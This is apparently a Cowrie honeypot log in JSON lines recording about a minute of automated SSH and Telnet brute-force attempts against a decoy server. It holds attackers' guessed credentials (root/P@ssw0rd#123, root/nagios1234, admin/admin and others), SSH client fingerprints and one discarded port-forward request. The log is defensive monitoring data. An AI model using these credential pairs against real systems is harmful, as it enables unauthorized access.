{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":42958,"dst_ip":"10.17.0.5","dst_port":22,"session":"34a61abc3ce5","protocol":"ssh","message":"New connection: 79.117.24.180:42958 (10.17.0.5:22) [session: 34a61abc3ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:50.284655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:50.289208Z","src_ip":"79.117.24.180","session":"34a61abc3ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:50.400436Z","src_ip":"79.117.24.180","session":"34a61abc3ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd#123","message":"login attempt [root/P@ssw0rd#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:50.883651Z","src_ip":"79.117.24.180","session":"34a61abc3ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.91809010505676,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:51.946495Z","src_ip":"152.42.224.71","session":"6ba792fb4926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:51.999296Z","src_ip":"79.117.24.180","session":"34a61abc3ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e3a961d1ee0","protocol":"ssh","message":"New connection: 43.156.63.254:60796 (10.17.0.5:22) [session: 0e3a961d1ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:52.964992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:52.968942Z","src_ip":"43.156.63.254","session":"0e3a961d1ee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:53.205650Z","src_ip":"43.156.63.254","session":"0e3a961d1ee0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nagios1234","message":"login attempt [root/nagios1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:54.187616Z","src_ip":"43.156.63.254","session":"0e3a961d1ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:55.429152Z","src_ip":"43.156.63.254","session":"0e3a961d1ee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33330,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ba61b21bada","protocol":"telnet","message":"New connection: 152.42.224.71:33330 (10.17.0.5:23) [session: 0ba61b21bada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:01:57.890461Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36186,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea1ce4d392b4","protocol":"ssh","message":"New connection: 87.251.64.176:36186 (10.17.0.5:22) [session: ea1ce4d392b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:13.609473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:13.615929Z","src_ip":"87.251.64.176","session":"ea1ce4d392b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:13.716435Z","src_ip":"87.251.64.176","session":"ea1ce4d392b4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:14.007042Z","src_ip":"87.251.64.176","session":"ea1ce4d392b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:14.106448Z","session":"ea1ce4d392b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:14.204567Z","src_ip":"87.251.64.176","session":"ea1ce4d392b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:14.307074Z","src_ip":"87.251.64.176","session":"ea1ce4d392b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52922,"dst_ip":"10.17.0.5","dst_port":22,"session":"b13581fd40ff","protocol":"ssh","message":"New connection: 80.94.92.184:52922 (10.17.0.5:22) [session: b13581fd40ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:17.539098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:17.636316Z","src_ip":"80.94.92.184","session":"b13581fd40ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:17.788356Z","src_ip":"80.94.92.184","session":"b13581fd40ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:19.191440Z","src_ip":"80.94.92.184","session":"b13581fd40ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7e65225000","protocol":"telnet","message":"New connection: 152.42.224.71:45534 (10.17.0.5:23) [session: ba7e65225000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:19.904713Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:20.564943Z","src_ip":"80.94.92.184","session":"b13581fd40ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45536,"dst_ip":"10.17.0.5","dst_port":23,"session":"828f0fc10c33","protocol":"telnet","message":"New connection: 152.42.224.71:45536 (10.17.0.5:23) [session: 828f0fc10c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:22.070886Z"}
{"eventid":"cowrie.session.closed","duration":60.578784704208374,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:25.394504Z","src_ip":"152.42.224.71","session":"b3833505f5eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":43518,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57ba8d23773","protocol":"ssh","message":"New connection: 43.134.142.250:43518 (10.17.0.5:22) [session: b57ba8d23773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:26.726507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:26.732423Z","src_ip":"43.134.142.250","session":"b57ba8d23773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:26.979509Z","src_ip":"43.134.142.250","session":"b57ba8d23773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sparky13","message":"login attempt [root/sparky13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:27.992081Z","src_ip":"43.134.142.250","session":"b57ba8d23773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56834,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad17d6353fe","protocol":"telnet","message":"New connection: 152.42.224.71:56834 (10.17.0.5:23) [session: 1ad17d6353fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:28.882369Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:29.240910Z","src_ip":"43.134.142.250","session":"b57ba8d23773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.58082389831543,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:31.431229Z","src_ip":"152.42.224.71","session":"bc4dee2318a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56836,"dst_ip":"10.17.0.5","dst_port":23,"session":"0603b4cfa9ba","protocol":"telnet","message":"New connection: 152.42.224.71:56836 (10.17.0.5:23) [session: 0603b4cfa9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:33.154928Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf0a402c0b9","protocol":"telnet","message":"New connection: 152.42.224.71:33060 (10.17.0.5:23) [session: 7cf0a402c0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:37.163172Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33068,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d96b18db155","protocol":"telnet","message":"New connection: 152.42.224.71:33068 (10.17.0.5:23) [session: 1d96b18db155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:37.656127Z"}
{"eventid":"cowrie.session.closed","duration":43.861196994781494,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:41.751574Z","src_ip":"152.42.224.71","session":"0ba61b21bada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.93436551094055,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:42.923204Z","src_ip":"152.42.224.71","session":"ce8cfa8b0772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58518,"dst_ip":"10.17.0.5","dst_port":23,"session":"55bcb09203af","protocol":"telnet","message":"New connection: 152.42.224.71:58518 (10.17.0.5:23) [session: 55bcb09203af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:48.077572Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58526,"dst_ip":"10.17.0.5","dst_port":23,"session":"312082bc2614","protocol":"telnet","message":"New connection: 152.42.224.71:58526 (10.17.0.5:23) [session: 312082bc2614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:49.714675Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58528,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf13737f769","protocol":"telnet","message":"New connection: 152.42.224.71:58528 (10.17.0.5:23) [session: eaf13737f769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:49.948132Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58542,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d86c8760a6e","protocol":"telnet","message":"New connection: 152.42.224.71:58542 (10.17.0.5:23) [session: 2d86c8760a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:54.551497Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.199.52.47","src_port":55752,"dst_ip":"10.17.0.5","dst_port":22,"session":"30d0ace43aad","protocol":"ssh","message":"New connection: 213.199.52.47:55752 (10.17.0.5:22) [session: 30d0ace43aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:57.799728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:57.804737Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:57.900936Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:b6:32:91:84:43:52:99:0d:41:21:ce:14:97:12:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYCU6KCbQ2G808IEKty1FUWr6WZgVU+KjEleYCJrx9zBW4dtaAawDYRJGfy7tuv7DTh6WLScSim9d7XQocNkYpjleF8Pqh0tLMxrGJ+ptAV/f8ExZ+EjobopSV962gO/uyN3qM84x8ETBP0kPQGp6y35pgcJa7FQrUtnmKE6nWUz/1sGyOqg7eMCpuqsQLa77UCLAzy05ccp340ks0HBU9yLxQvHcgt86Fxig+5/k4h18YeQgVm1Ouxu17Zj+KYd2MGJtVgtbMooPlmJpE17/WWALb/pNVvrwP4YfHgr4JLq/vFCa7ho9EudlDzYw5DtdnaRpvVVkkzJ5QuF9r/vfd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:b6:32:91:84:43:52:99:0d:41:21:ce:14:97:12:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.358702Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
